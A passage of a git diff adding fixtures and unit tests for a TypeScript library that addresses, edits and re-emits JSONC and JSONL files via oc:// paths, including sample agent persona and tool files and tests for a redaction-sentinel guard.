Gitea, Bitbucket). + Use the appropriate CLI instead. +- Operations that require admin permissions the agent doesn't have. diff --git a/src/oc-path/tests/fixtures/real/SOUL.md b/src/oc-path/tests/fixtures/real/SOUL.md new file mode 100644 index 00000000000..abff7cebc7a --- /dev/null +++ b/src/oc-path/tests/fixtures/real/SOUL.md @@ -0,0 +1,17 @@ +# Persona + +I'm a thoughtful, methodical assistant. I ask clarifying questions +when the user's request is ambiguous, and I'd rather be slightly +slower than confidently wrong. + +## Voice + +- terse and direct +- no filler words +- code snippets > prose when explaining technical things + +## Boundaries + +- never write to /etc or system paths +- always confirm before deleting files +- redact secrets from logs and audit trails diff --git a/src/oc-path/tests/fixtures/real/TOOLS.md b/src/oc-path/tests/fixtures/real/TOOLS.md new file mode 100644 index 00000000000..96940bf02b4 --- /dev/null +++ b/src/oc-path/tests/fixtures/real/TOOLS.md @@ -0,0 +1,21 @@ +## Tool Guidance + +| tool | guidance | +| --- | --- | +| gh | Use for GitHub operations (issues, PRs, CI). Prefer over web. | +| curl | HTTP client. Use --silent for clean output. | +| rg | ripgrep — content search. Faster than grep for code. | +| fd | find replacement. Use over `find` when available. | + +## Allow / Deny + +- enabled: gh +- enabled: curl +- enabled: rg +- enabled: fd +- disabled: legacy-tool + +## Notes + +The agent reads this file at session start; runtime tool gates honor +the `enabled` flags. diff --git a/src/oc-path/tests/fixtures/real/USER.md b/src/oc-path/tests/fixtures/real/USER.md new file mode 100644 index 00000000000..de536bed64a --- /dev/null +++ b/src/oc-path/tests/fixtures/real/USER.md @@ -0,0 +1,16 @@ +## Role + +Senior PM working on AI runtime + governance layers. Reports to a VP-level +stakeholder; coordinates across 4-6 engineering teams. + +## Preferences + +- async-first communication (Slack DMs > meetings) +- terse responses; avoid filler +- code snippets > prose for technical detail +- always include repo:file:line citations for code claims + +## Working hours + +- Mon-Fri 9am-6pm Pacific +- occasional evening for sync with EU teams diff --git a/src/oc-path/tests/jsonc/edit.test.ts b/src/oc-path/tests/jsonc/edit.test.ts new file mode 100644 index 00000000000..b3a2c563048 --- /dev/null +++ b/src/oc-path/tests/jsonc/edit.test.ts @@ -0,0 +1,185 @@ +import { describe, expect, it } from 'vitest'; +import { setJsoncOcPath } from '../../jsonc/edit.js'; +import { emitJsonc } from '../../jsonc/emit.js'; +import { parseJsonc } from '../../jsonc/parse.js'; +import { parseOcPath } from '../../oc-path.js'; + +describe('setJsoncOcPath — value replacement', () => { + const config = `{ + "plugins": { + "entries": { + "github": { + "token": "old" + } + } + } +}`; + + it('replaces a leaf string value', () => { + const { ast } = parseJsonc(config); + const r = setJsoncOcPath( + ast, + parseOcPath('oc://config/plugins.entries.github.token'), + { kind: 'string', value: 'new' }, + ); + expect(r.ok).toBe(true); + if (r.ok) { + const out = emitJsonc(r.ast); + expect(JSON.parse(out)).toEqual({ + plugins: { entries: { github: { token: 'new' } } }, + }); + } + }); + + it('replaces nested objects', () => { + const { ast } = parseJsonc(config); + const r = setJsoncOcPath(ast, parseOcPath('oc://config/plugins.entries'), { + kind: 'object', + entries: [ + { key: 'gitlab', line: 0, value: { kind: 'string', value: 'tok' } }, + ], + }); + expect(r.ok).toBe(true); + if (r.ok) { + expect(JSON.parse(emitJsonc(r.ast))).toEqual({ + plugins: { entries: { gitlab: 'tok' } }, + }); + } + }); + + it('replaces an array element by index', () => { + const { ast } = parseJsonc('{ "limits": [10, 20, 30] }'); + const r = setJsoncOcPath(ast, parseOcPath('oc://config/limits.1'), { + kind: 'number', + value: 99, + }); + expect(r.ok).toBe(true); + if (r.ok) {expect(JSON.parse(emitJsonc(r.ast))).toEqual({ limits: [10, 99, 30] });} + }); + + it('reports unresolved when a key is missing', () => { + const { ast } = parseJsonc(config); + const r = setJsoncOcPath( + ast, + parseOcPath('oc://config/plugins.entries.gitlab'), + { kind: 'string', value: 'x' }, + ); + expect(r).toEqual({ ok: false, reason: 'unresolved' }); + }); + + it('reports no-root on empty AST', () => { + const { ast } = parseJsonc(''); + const r = setJsoncOcPath(ast, parseOcPath('oc://config/x'), { + kind: 'string', + value: 'y', + }); + expect(r).toEqual({ ok: false, reason: 'no-root' }); + }); + + it('does not mutate the original AST', () => { + const { ast } = parseJsonc(config); + const before = JSON.stringify(ast); + setJsoncOcPath(ast, parseOcPath('oc://config/plugins.entries.github.token'), { + kind: 'string', + value: 'new', + }); + expect(JSON.stringify(ast)).toBe(before); + }); +}); + +describe('setJsoncOcPath — positional tokens (round-11 resolve↔edit symmetry)', () => { + // ClawSweeper round-11 P2 — `$first` / `$last` / `-N` resolved on + // the read path but not on the edit path. Pin the new behavior: + // editing through a positional address must reach the same child + // that `resolveJsoncOcPath` would have returned. + it('edits the first array element via $first', () => { + const { ast } = parseJsonc('{ "items": [10, 20, 30] }'); + const r = setJsoncOcPath( + ast, + parseOcPath('oc://config.jsonc/items/$first'), + { kind: 'number', value: 99 }, + ); + expect(r.ok).toBe(true); + if (r.ok) {expect(JSON.parse(emitJsonc(r.ast))).toEqual({ items: [99, 20, 30] });} + }); + + it('edits the last array element via $last', () => { + const { ast } = parseJsonc('{ "items": [10, 20, 30] }'); + const r = setJsoncOcPath( + ast, + parseOcPath('oc://config.jsonc/items/$last'), + { kind: 'number', value: 99 }, + ); + expect(r.ok).toBe(true); + if (r.ok) {expect(JSON.parse(emitJsonc(r.ast))).toEqual({ items: [10, 20, 99] });} + }); + + it('edits the second-to-last array element via -2', () => { + const { ast } = parseJsonc('{ "items": [10, 20, 30] }'); + const r = setJsoncOcPath( + ast, + parseOcPath('oc://config.jsonc/items/-2'), + { kind: 'number', value: 99 }, + ); + expect(r.ok).toBe(true); + if (r.ok) {expect(JSON.parse(emitJsonc(r.ast))).toEqual({ items: [10, 99, 30] });} + }); + + it('edits the first object entry value via $first', () => { + const { ast } = parseJsonc('{ "a": 1, "b": 2, "c": 3 }'); + const r = setJsoncOcPath( + ast, + parseOcPath('oc://config.jsonc/$first'), + { kind: 'number', value: 99 }, + ); + expect(r.ok).toBe(true); + if (r.ok) {expect(JSON.parse(emitJsonc(r.ast))).toEqual({ a: 99, b: 2, c: 3 });} + }); + + it('reports unresolved for $first against an empty array', () => { + const { ast } = parseJsonc('{ "items": [] }'); + const r = setJsoncOcPath( + ast, + parseOcPath('oc://config.jsonc/items/$first'), + { kind: 'number', value: 99 }, + ); + expect(r).toEqual({ ok: false, reason: 'unresolved' }); + }); +}); + +describe('setJsoncOcPath — quoted segments (regression: resolve↔edit symmetry)', () => { + it('edits a key containing slashes via quoted segment', () => { + // The provider/model alias key contains a `/`; without quoting + // it would be split as two segments. `resolveJsoncOcPath` handles + // this; `setJsoncOcPath` MUST handle it the same way or the path + // becomes resolve-only. Closes ClawSweeper P2 on PR #78678. + const raw = `{ + "agents": { + "defaults": { + "models": { + "anthropic/claude-opus-4-7": { "alias": "opus" } + } + } + } +} +`; + const { ast } = parseJsonc(raw); + const r = setJsoncOcPath( + ast, + parseOcPath('oc://config.jsonc/agents.defaults.models/"anthropic/claude-opus-4-7"/alias'), + { kind: 'string', value: 'big-opus' }, + ); + expect(r.ok).toBe(true); + if (r.ok) { + expect(JSON.parse(emitJsonc(r.ast))).toEqual({ + agents: { + defaults: { + models: { + 'anthropic/claude-opus-4-7': { alias: 'big-opus' }, + }, + }, + }, + }); + } + }); +}); diff --git a/src/oc-path/tests/jsonc/emit.test.ts b/src/oc-path/tests/jsonc/emit.test.ts new file mode 100644 index 00000000000..9308abd02fe --- /dev/null +++ b/src/oc-path/tests/jsonc/emit.test.ts @@ -0,0 +1,94 @@ +import { describe, expect, it } from 'vitest'; +import { emitJsonc } from '../../jsonc/emit.js'; +import { parseJsonc } from '../../jsonc/parse.js'; +import { + OcEmitSentinelError, + REDACTED_SENTINEL, +} from '../../sentinel.js'; + +describe('emitJsonc — round-trip', () => { + it('returns raw bytes verbatim by default', () => { + const raw = `{ + // comment is preserved on round-trip + "x": 1, + "y": [/* inline */ 2, 3], +} +`; + const { ast } = parseJsonc(raw); + expect(emitJsonc(ast)).toBe(raw); + }); + + it('echoes pre-existing sentinel bytes by default; strict mode rejects', () => { + // Round-trip trusts parsed bytes — workspace files legitimately + // containing the sentinel (in code blocks, pasted error logs) + // would otherwise become a workspace-wide emit DoS. Strict mode + // is the opt-in path. + const raw = `{ "x": "${REDACTED_SENTINEL}" }`; + const { ast } = parseJsonc(raw); + expect(emitJsonc(ast)).toBe(raw); + expect(() => + emitJsonc(ast, { fileNameForGuard: 'config', acceptPreExistingSentinel: false }), + ).toThrow(OcEmitSentinelError); + }); +}); + +describe('emitJsonc — render mode', () => { + it('re-stringifies the structural tree (no comments)', () => { + const { ast } = parseJsonc('{ /* drop me */ "x": 1, "y": [2, 3] }'); + const out = emitJsonc(ast, { mode: 'render' }); + expect(out).not.toContain('drop me'); + expect(JSON.parse(out)).toEqual({ x: 1, y: [2, 3] }); + }); + + it('throws OcEmitSentinelError when a leaf string is the sentinel', () => { + const ast = parseJsonc('{ "x": "ok" }').ast; + const tampered = { + ...ast, + root: { + kind: 'object' as const, + entries: [ + { + key: 'x', + line: 1, + value: { kind: 'string' as const, value: REDACTED_SENTINEL }, + }, + ], + }, + }; + expect(() => emitJsonc(tampered, { mode: 'render' })).toThrow( + OcEmitSentinelError, + ); + }); + + it('throws when a leaf string EMBEDS the sentinel (prefix/suffix wrap)', () => { + // Regression: prior to this fix, render mode used `value.value === SENTINEL` + // (exact match), so `prefix__OPENCLAW_REDACTED__suffix` slipped through. + // The roundtrip path always used `.includes()` for the same reason — + // render must too. Catches the sentinel-guard bypass class. + const ast = parseJsonc('{ "x": "ok" }').ast; + const tampered = { + ...ast, + root: { + kind: 'object' as const, + entries: [ + { + key: 'x', + line: 1, + value: { + kind: 'string' as const, + value: `prefix-${REDACTED_SENTINEL}-suffix`, + }, + }, + ], + }, + }; + expect(() => emitJsonc(tampered, { mode: 'render' })).toThrow( + OcEmitSentinelError, + ); + }); + + it('renders empty AST as empty string', () => { + const { ast } = parseJsonc(''); + expect(emitJsonc(ast, { mode: 'render' })).toBe(''); + }); +}); diff --git a/src/oc-path/tests/jsonc/parse.test.ts b/src/oc-path/tests/jsonc/parse.test.ts new file mode 100644 index 00000000000..cd6615e9c97 --- /dev/null +++ b/src/oc-path/tests/jsonc/parse.test.ts @@ -0,0 +1,144 @@ +import { describe, expect, it } from 'vitest'; +import { parseJsonc } from '../../jsonc/parse.js'; + +describe('parseJsonc — basic shapes', () => { + it('parses an empty object', () => { + const { ast, diagnostics } = parseJsonc('{}'); + expect(diagnostics).toEqual([]); + expect(ast.kind).toBe('jsonc'); + expect(ast.root).toEqual({ kind: 'object', entries: [], line: 1 }); + }); + + it('parses an empty array', () => { + const { ast, diagnostics } = parseJsonc('[]'); + expect(diagnostics).toEqual([]); + expect(ast.root).toEqual({ kind: 'array', items: [], line: 1 }); + }); + + it('parses an empty input as null root', () => { + const { ast, diagnostics } = parseJsonc(''); + expect(diagnostics).toEqual([]); + expect(ast.root).toBeNull(); + }); + + it('parses scalars', () => { + expect(parseJsonc('42').ast.root).toEqual({ kind: 'number', value: 42, line: 1 }); + expect(parseJsonc('-3.14').ast.root).toEqual({ kind: 'number', value: -3.14, line: 1 }); + expect(parseJsonc('1e3').ast.root).toEqual({ kind: 'number', value: 1000, line: 1 }); + expect(parseJsonc('"hello"').ast.root).toEqual({ kind: 'string', value: 'hello', line: 1 }); + expect(parseJsonc('true').ast.root).toEqual({ kind: 'boolean', value: true, line: 1 }); + expect(parseJsonc('false').ast.root).toEqual({ kind: 'boolean', value: false, line: 1 }); + expect(parseJsonc('null').ast.root).toEqual({ kind: 'null', line: 1 }); + }); + + it('parses nested object/array', () => { + const raw = '{ "plugins": { "entries": ["a", "b"] } }'; + const { ast, diagnostics } = parseJsonc(raw); + expect(diagnostics).toEqual([]); + expect(ast.root).toEqual({ + kind: 'object', + line: 1, + entries: [ + { + key: 'plugins', + line: 1, + value: { + kind: 'object', + line: 1, + entries: [ + { + key: 'entries', + line: 1, + value: { + kind: 'array', + line: 1, + items: [ + { kind: 'string', value: 'a', line: 1 }, + { kind: 'string', value: 'b', line: 1 }, + ], + }, + }, + ], + }, + }, + ], + }); + }); + + it('preserves raw on the AST root for byte-fidelity emit', () => { + const raw = '{\n "x": 1\n}\n'; + const { ast } = parseJsonc(raw); + expect(ast.raw).toBe(raw); + }); +}); + +describe('parseJsonc — JSONC extensions', () => { + it('skips line comments', () => { + const raw = `{ + // comment + "x": 1 // trailing comment + }`; + const { ast, diagnostics } = parseJsonc(raw); + expect(diagnostics).toEqual([]); + expect(ast.root).toEqual({ + kind: 'object', + line: 1, + entries: [{ key: 'x', value: { kind: 'number', value: 1, line: 3 }, line: 3 }], + }); + }); + + it('skips block comments', () => { + const raw = '{ /* hi */ "x": /* mid */ 1 }'; + const { ast, diagnostics } = parseJsonc(raw); + expect(diagnostics).toEqual([]); + expect(ast.root).toEqual({ + kind: 'object', + line: 1, + entries: [{ key: 'x', value: { kind: 'number', value: 1, line: 1 }, line: 1 }], + }); + }); + + it('tolerates trailing commas in objects', () => { + const { ast, diagnostics } = parseJsonc('{ "x": 1, }'); + expect(diagnostics).toEqual([]); + expect(ast.root).toEqual({ + kind: 'object', + line: 1, + entries: [{ key: 'x', value: { kind: 'number', value: 1, line: 1 }, line: 1 }], + }); + }); + + it('tolerates trailing commas in arrays', () => { + const { ast } = parseJsonc('[1, 2, 3,]'); + expect(ast.root).toEqual({ + kind: 'array', + line: 1, + items: [ + { kind: 'number', value: 1, line: 1 }, + { kind: 'number', value: 2, line: 1 }, + { kind: 'number', value: 3, line: 1 }, + ], + }); + }); + + it('handles escape sequences in strings', () => { + const { ast } = parseJsonc('"a\\nb\\tc\\u0041"'); + expect(ast.root).toEqual({ kind: 'string', value: 'a\nb\tcA', line: 1 }); + }); +}); + +describe('parseJsonc — soft errors', () => { + it('returns null root + error diagnostic on unrecoverable input', () => { + const { ast, diagnostics } = parseJsonc('{ "x" 1 }'); + expect(ast.root).toBeNull(); + expect(diagnostics).toHaveLength(1); + expect(diagnostics[0]?.severity).toBe('error'); + }); + + it('warns on trailing input after a valid value', () => { + const { diagnostics } = parseJsonc('1 garbage'); + expect(diagnostics).toHaveLength(1); + expect(diagnostics[0]?.severity).toBe('warning'); + expect(diagnostics[0]?.code).toBe('OC_JSONC_TRAILING_INPUT'); + }); +}); diff --git a/src/oc-path/tests/jsonc/resolve.test.ts b/src/oc-path/tests/jsonc/resolve.test.ts new file mode 100644 index 00000000000..bce034ec1ff --- /dev/null +++ b/src/oc-path/tests/jsonc/resolve.test.ts @@ -0,0 +1,76 @@ +import { describe, expect, it } from 'vitest'; +import { parseJsonc } from '../../jsonc/parse.js'; +import { resolveJsoncOcPath } from '../../jsonc/resolve.js'; +import { parseOcPath } from '../../oc-path.js'; + +function rs(raw: string, ocPath: string) { + const { ast } = parseJsonc(raw); + const path = parseOcPath(ocPath); + return resolveJsoncOcPath(ast, path); +} + +describe('resolveJsoncOcPath', () => { + const config = `{ + "plugins": { + "entries": { + "github": { + "token": "secret", + "enabled": true + } + } + }, + "limits": [10, 20, 30] +}`; + + it('resolves the root when no segments are given', () => { + const m = rs(config, 'oc://config'); + expect(m?.kind).toBe('root'); + }); + + it('walks dotted section paths', () => { + const m = rs(config, 'oc://config/plugins.entries.github.token'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.key).toBe('token'); + expect(m.node.value).toMatchObject({ kind: 'string', value: 'secret' }); + } + }); + + it('walks 4-segment slash paths up to OcPath depth limit', () => { + const m = rs(config, 'oc://config/plugins/entries/github'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.key).toBe('github'); + } + }); + + it('walks mixed dotted+slash paths', () => { + const m = rs(config, 'oc://config/plugins/entries.github.token'); + expect(m?.kind).toBe('object-entry'); + }); + + it('indexes into arrays via numeric segments', () => { + const m = rs(config, 'oc://config/limits.1'); + expect(m?.kind).toBe('value'); + if (m?.kind === 'value') { + expect(m.node).toMatchObject({ kind: 'number', value: 20 }); + } + }); + + it('returns null for missing keys', () => { + expect(rs(config, 'oc://config/plugins.entries.gitlab')).toBeNull(); + }); + + it('returns null for out-of-bounds array indexes', () => { + expect(rs(config, 'oc://config/limits.99')).toBeNull(); + }); + + it('returns null when descending past a primitive', () => { + expect(rs(config, 'oc://config/plugins.entries.github.token.x')).toBeNull(); + }); + + it('returns null on empty AST', () => { + const { ast } = parseJsonc(''); + expect(resolveJsoncOcPath(ast, parseOcPath('oc://config/x'))).toBeNull(); + }); +}); diff --git a/src/oc-path/tests/jsonl/edit.test.ts b/src/oc-path/tests/jsonl/edit.test.ts new file mode 100644 index 00000000000..fa21c56e01d --- /dev/null +++ b/src/oc-path/tests/jsonl/edit.test.ts @@ -0,0 +1,242 @@ +import { describe, expect, it } from 'vitest'; +import { + appendJsonlOcPath, + setJsonlOcPath, +} from '../../jsonl/edit.js'; +import { emitJsonl } from '../../jsonl/emit.js'; +import { parseJsonl } from '../../jsonl/parse.js'; +import { parseOcPath } from '../../oc-path.js'; + +describe('setJsonlOcPath — value replacement', () => { + const log = '{"event":"start"}\n{"event":"step","n":1}\n{"event":"end"}\n'; + + it('replaces a field on a specific line', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/L2/n'), { + kind: 'number', + value: 42, + }); + expect(r.ok).toBe(true); + if (r.ok) { + const lines = emitJsonl(r.ast).split('\n'); + expect(JSON.parse(lines[1] ?? '')).toEqual({ event: 'step', n: 42 }); + } + }); + + it('replaces an entire line value', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/L2'), { + kind: 'object', + entries: [ + { key: 'event', line: 0, value: { kind: 'string', value: 'replaced' } }, + ], + }); + expect(r.ok).toBe(true); + if (r.ok) { + const lines = emitJsonl(r.ast).split('\n'); + expect(JSON.parse(lines[1] ?? '')).toEqual({ event: 'replaced' }); + } + }); + + it('resolves $last and edits the most recent value line', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/$last/event'), { + kind: 'string', + value: 'final', + }); + expect(r.ok).toBe(true); + if (r.ok) { + const lines = emitJsonl(r.ast).split('\n'); + expect(JSON.parse(lines[2] ?? '')).toEqual({ event: 'final' }); + } + }); + + it('reports unresolved for unknown line addresses', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/L99/x'), { + kind: 'number', + value: 1, + }); + expect(r).toEqual({ ok: false, reason: 'unresolved' }); + }); + + it('reports not-a-value-line when targeting a blank line', () => { + const { ast } = parseJsonl('{"a":1}\n\n{"b":2}\n'); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/L2'), { + kind: 'number', + value: 1, + }); + expect(r).toEqual({ ok: false, reason: 'not-a-value-line' }); + }); +}); + +describe('appendJsonlOcPath — session checkpointing primitive', () => { + it('appends to an empty file', () => { + const { ast } = parseJsonl(''); + const next = appendJsonlOcPath(ast, { + kind: 'object', + entries: [{ key: 'event', line: 0, value: { kind: 'string', value: 'start' } }], + }); + expect(emitJsonl(next)).toBe('{"event":"start"}'); + }); + + it('appends to an existing log preserving prior lines', () => { + const { ast } = parseJsonl('{"a":1}\n'); + const next = appendJsonlOcPath(ast, { + kind: 'object', + entries: [{ key: 'b', line: 0, value: { kind: 'number', value: 2 } }], + }); + const out = emitJsonl(next).split('\n'); + expect(out).toHaveLength(2); + expect(JSON.parse(out[1] ?? '')).toEqual({ b: 2 }); + }); +}); + +describe('setJsonlOcPath — line-address positional tokens (resolve↔edit symmetry)', () => { + // Line-address slot must accept every token shape pickLine accepts + // (resolve.ts and find.ts already do). Without `$first` and `-N` here, + // a path that reads under those tokens silently unresolves on write. + const log = '{"event":"start","n":1}\n{"event":"step","n":2}\n{"event":"end","n":3}\n'; + + it('writes under $first line address', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/$first/n'), { + kind: 'number', + value: 99, + }); + expect(r.ok).toBe(true); + if (r.ok) { + const lines = emitJsonl(r.ast).split('\n'); + expect(JSON.parse(lines[0] ?? '')).toEqual({ event: 'start', n: 99 }); + } + }); + + it('writes under -1 line address (alias for last value line)', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/-1/n'), { + kind: 'number', + value: 99, + }); + expect(r.ok).toBe(true); + if (r.ok) { + const lines = emitJsonl(r.ast).split('\n'); + expect(JSON.parse(lines[2] ?? '')).toEqual({ event: 'end', n: 99 }); + } + }); + + it('writes under -2 line address (penultimate value line)', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/-2/n'), { + kind: 'number', + value: 99, + }); + expect(r.ok).toBe(true); + if (r.ok) { + const lines = emitJsonl(r.ast).split('\n'); + expect(JSON.parse(lines[1] ?? '')).toEqual({ event: 'step', n: 99 }); + } + }); + + it('reports unresolved for $first against an empty log', () => { + const { ast } = parseJsonl(''); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/$first/n'), { + kind: 'number', + value: 99, + }); + expect(r).toEqual({ ok: false, reason: 'unresolved' }); + }); + + it('reports unresolved for -99 (out-of-range) line address', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath(ast, parseOcPath('oc://session-events/-99/n'), { + kind: 'number', + value: 99, + }); + expect(r).toEqual({ ok: false, reason: 'unresolved' }); + }); +}); + +describe('setJsonlOcPath — positional field tokens (round-11 resolve↔edit symmetry)', () => { + // ClawSweeper round-11 P2 — JSONL line-address `$last` already + // resolved (pickLineIndex), but positional tokens INSIDE a line's + // structural body (item / field) were not. Pin the in-line edit + // path: a `$first` / `$last` / `-N` field-segment must reach the + // same child as resolveJsonlOcPath. + const log = '{"items":[10,20,30],"events":{"a":1,"b":2}}\n'; + + it('edits the first array item on a line via $first', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath( + ast, + parseOcPath('oc://session-events/L1/items/$first'), + { kind: 'number', value: 99 }, + ); + expect(r.ok).toBe(true); + if (r.ok) { + const firstLine = emitJsonl(r.ast).split('\n').find((l) => l.length > 0) ?? ''; + expect(JSON.parse(firstLine)).toEqual({ + items: [99, 20, 30], + events: { a: 1, b: 2 }, + }); + } + }); + + it('edits the last array item on a line via $last', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath( + ast, + parseOcPath('oc://session-events/L1/items/$last'), + { kind: 'number', value: 99 }, + ); + expect(r.ok).toBe(true); + if (r.ok) { + const firstLine = emitJsonl(r.ast).split('\n').find((l) => l.length > 0) ?? ''; + expect(JSON.parse(firstLine)).toEqual({ + items: [10, 20, 99], + events: { a: 1, b: 2 }, + }); + } + }); + + it('edits the first object entry on a line via $first', () => { + const { ast } = parseJsonl(log); + const r = setJsonlOcPath( + ast, + parseOcPath('oc://session-events/L1/events/$first'), + { kind: 'number', value: 99 }, + ); + expect(r.ok).toBe(true); + if (r.ok) { + const firstLine = emitJsonl(r.ast).split('\n').find((l) => l.length > 0) ?? ''; + expect(JSON.parse(firstLine)).toEqual({ + items: [10, 20, 30], + events: { a: 99, b: 2 }, + }); + } + }); +}); + +describe('setJsonlOcPath — quoted field segments (regression: resolve↔edit symmetry)', () => { + it('edits a field key containing a slash via quoted segment', () => { + // Closes ClawSweeper P2 on PR #78678: JSONL resolve unquotes + // bracket-aware segments but the edit path used plain + // `.split('.')`. A path that resolves under `Lnnn` MUST be + // editable through the same address. + const raw = `{"event":"start","detail":{"github/repo":"old"}}\n`; + const { ast } = parseJsonl(raw); + const r = setJsonlOcPath( + ast, + parseOcPath('oc://x.jsonl/L1/detail/"github/repo"'), + { kind: 'string', value: 'new' }, + ); + expect(r.ok).toBe(true); + if (r.ok) { + const lines = emitJsonl(r.ast).split('\n').filter((l) => l.length > 0); + expect(lines).toHaveLength(1); + expect(JSON.parse(lines[0] ?? '')).toEqual({ + event: 'start', + detail: { 'github/repo': 'new' }, + }); + } + }); +}); diff --git a/src/oc-path/tests/jsonl/emit.test.ts b/src/oc-path/tests/jsonl/emit.test.ts new file mode 100644 index 00000000000..b174d6aed1c --- /dev/null +++ b/src/oc-path/tests/jsonl/emit.test.ts @@ -0,0 +1,101 @@ +import { describe, expect, it } from 'vitest'; +import { emitJsonl } from '../../jsonl/emit.js'; +import { parseJsonl } from '../../jsonl/parse.js'; +import { + OcEmitSentinelError, + REDACTED_SENTINEL, +} from '../../sentinel.js'; + +describe('emitJsonl — round-trip', () => { + it('returns raw bytes verbatim by default', () => { + const raw = '{"a":1}\n\n{"b":2}\nthis is malformed\n'; + const { ast } = parseJsonl(raw); + expect(emitJsonl(ast)).toBe(raw); + }); + + it('echoes pre-existing sentinel bytes by default; strict mode rejects', () => { + const raw = `{"a":"${REDACTED_SENTINEL}"}\n`; + const { ast } = parseJsonl(raw); + expect(emitJsonl(ast)).toBe(raw); + expect(() => + emitJsonl(ast, { + fileNameForGuard: 'session-events', + acceptPreExistingSentinel: false, + }), + ).toThrow(OcEmitSentinelError); + }); +}); + +describe('emitJsonl — render mode', () => { + it('rebuilds value lines via JSON-stringify', () => { + const { ast } = parseJsonl('{"a":1}\n{"b":2}\n'); + const out = emitJsonl(ast, { mode: 'render' }); + expect(out.split('\n')).toEqual(['{"a":1}', '{"b":2}']); + }); + + it('preserves blank and malformed lines verbatim in render mode', () => { + const { ast } = parseJsonl('{"a":1}\n\nbroken\n{"b":2}\n'); + const out = emitJsonl(ast, { mode: 'render' }); + expect(out.split('\n')).toEqual(['{"a":1}', '', 'broken', '{"b":2}']); + }); + + it('throws when a value-leaf is the sentinel under render mode', () => { + const ast = parseJsonl('{"a":"ok"}\n').ast; + const tampered = { + ...ast, + lines: [ + { + kind: 'value' as const, + line: 1, + raw: '{"a":"ok"}', + value: { + kind: 'object' as const, + entries: [ + { + key: 'a', + line: 1, + value: { kind: 'string' as const, value: REDACTED_SENTINEL }, + }, + ], + }, + }, + ], + }; + expect(() => emitJsonl(tampered, { mode: 'render' })).toThrow( + OcEmitSentinelError, + ); + }); + + it('throws when a value-leaf EMBEDS the sentinel (prefix/suffix wrap)', () => { + // Regression: prior to this fix, render mode used exact-match + // (`value.value === SENTINEL`), so `prefix__OPENCLAW_REDACTED__suffix` + // slipped through. The contains-check is the right invariant. + const ast = parseJsonl('{"a":"ok"}\n').ast; + const tampered = { + ...ast, + lines: [ + { + kind: 'value' as const, + line: 1, + raw: '{"a":"ok"}', + value: { + kind: 'object' as const, + entries: [ + { + key: 'a', + line: 1, + value: { + kind: 'string' as const, + value: `wrap-${REDACTED_SENTINEL}-end`, + }, + }, + ], + }, + }, + ], + }; + expect(() => emitJsonl(tampered, { mode: 'render' })).toThrow( + OcEmitSentinelError, + ); + }); +}); diff --git a/src/oc-path/tests/jsonl/parse.test.ts b/src/oc-path/tests/jsonl/parse.test.ts new file mode 100644 index 00000000000..88cfbc3117f --- /dev/null +++ b/src/oc-path/tests/jsonl/parse.test.ts @@ -0,0 +1,43 @@ +import { describe, expect, it } from 'vitest'; +import { parseJsonl } from '../../jsonl/parse.js'; + +describe('parseJsonl', () => { + it('parses an empty file as zero lines', () => { + const { ast, diagnostics } = parseJsonl(''); + expect(diagnostics).toEqual([]); + expect(ast.lines).toEqual([]); + }); + + it('parses each line as a JSON value', () => { + const raw = `{"event":"start"} +{"event":"step","n":1} +{"event":"end"} +`; + const { ast, diagnostics } = parseJsonl(raw); + expect(diagnostics).toEqual([]); + expect(ast.lines).toHaveLength(3); + expect(ast.lines[0]?.kind).toBe('value'); + expect(ast.lines[2]?.kind).toBe('value'); + }); + + it('preserves blank lines as blank entries', () => { + const raw = '{"a":1}\n\n{"b":2}\n'; + const { ast, diagnostics } = parseJsonl(raw); + expect(diagnostics).toEqual([]); + expect(ast.lines.map((l) => l.kind)).toEqual(['value', 'blank', 'value']); + }); + + it('flags malformed lines as warnings without aborting', () => { + const raw = '{"a":1}\nthis is not json\n{"b":2}\n'; + const { ast, diagnostics } = parseJsonl(raw); + expect(ast.lines.map((l) => l.kind)).toEqual(['value', 'malformed', 'value']); + expect(diagnostics).toHaveLength(1); + expect(diagnostics[0]?.code).toBe('OC_JSONL_LINE_MALFORMED'); + }); + + it('preserves raw on the AST root for byte-fidelity emit', () => { + const raw = '{"a":1}\n{"b":2}\n'; + const { ast } = parseJsonl(raw); + expect(ast.raw).toBe(raw); + }); +}); diff --git a/src/oc-path/tests/jsonl/resolve.test.ts b/src/oc-path/tests/jsonl/resolve.test.ts new file mode 100644 index 00000000000..9fccd944bf6 --- /dev/null +++ b/src/oc-path/tests/jsonl/resolve.test.ts @@ -0,0 +1,99 @@ +import { describe, expect, it } from 'vitest'; +import { parseJsonl } from '../../jsonl/parse.js'; +import { resolveJsonlOcPath } from '../../jsonl/resolve.js'; +import { parseOcPath } from '../../oc-path.js'; +import { resolveOcPath } from '../../universal.js'; +import { findOcPaths } from '../../find.js'; + +const log = `{"event":"start","ts":1} +{"event":"step","n":1,"result":{"ok":true,"detail":"a"}} + +{"event":"end","ts":99} +`; + +function rs(ocPath: string) { + const { ast } = parseJsonl(log); + return resolveJsonlOcPath(ast, parseOcPath(ocPath)); +} + +describe('resolveJsonlOcPath', () => { + it('returns root when no segments are given', () => { + expect(rs('oc://session-events')?.kind).toBe('root'); + }); + + it('addresses an entire line by line number', () => { + const m = rs('oc://session-events/L1'); + expect(m?.kind).toBe('line'); + }); + + it('addresses fields under a line via item segment', () => { + const m = rs('oc://session-events/L2/event'); + expect(m?.kind).toBe('object-entry'); + if (m?.kind === 'object-entry') { + expect(m.node.value).toMatchObject({ kind: 'string', value: 'step' }); + } + }); + + it('descends via dotted item paths', () => { + const m = 